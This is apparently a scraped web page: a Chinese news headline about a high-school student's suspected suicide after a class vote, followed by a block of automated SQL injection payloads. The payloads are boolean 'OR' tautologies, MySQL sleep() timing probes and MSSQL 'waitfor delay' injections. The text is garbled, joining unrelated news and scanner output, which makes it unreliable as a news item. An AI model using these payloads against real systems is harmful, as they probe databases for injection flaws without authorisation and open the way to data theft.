班主任发动公决 一高中生疑因不堪压力自杀

-1 OR 2+570-570-1=0+0+0+1

-1' OR 2+320-320-1=0+0+0+1 --

-1' OR 2+383-383-1=0+0+0+1 or 'BfudV9ID'='

-1" OR 2+15-15-1=0+0+0+1 --

if(now()=sysdate(),sleep(18),0)/*'XOR(if(now()=sysdate(),sleep(18),0))OR'"XOR(if(now()=sysdate(),sleep(18),0))OR"*/

(select(0)from(select(sleep(18)))v)/*'+(select(0)from(select(sleep(18)))v)+'"+(select(0)from(select(sleep(18)))v)+"*/

-1; waitfor delay '0:0:6' --

-1; waitfor delay '0:0:12' --

-1)); waitfor delay '0:0:18' --

1 waitfor delay '0:0:6' --